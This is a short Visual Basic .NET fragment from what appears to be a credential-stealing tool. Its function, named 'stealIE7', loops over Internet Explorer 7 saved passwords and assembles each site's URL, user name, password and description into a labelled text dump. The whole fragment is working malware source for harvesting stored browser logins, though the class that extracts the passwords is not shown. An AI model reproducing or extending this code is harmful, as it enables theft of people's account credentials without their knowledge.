Private PIESEVEN As New CIE7Passwords
    Dim iep7 As CIE7Password

 Public Function stealIE7() As String

        Dim out As String = ""
        For Each iep7 In PIESEVEN

            out = out & vbNewLine & (" URL: " & iep7.URL)
            out = out & vbNewLine & ("User:" & iep7.UserName)
            out = out & vbNewLine & ("Pass:" & iep7.Password)
            out = out & vbNewLine & ("Desc: " & iep7.Description)
            out = out & vbNewLine
        Next iep7

        If out = "" Then Return Nothing

        Return _
 "===============IE7 PASSWORDS===============" & out & _
 "===============END IE7 PASSWORDS===============" & vbNewLine & vbNewLine
    End Function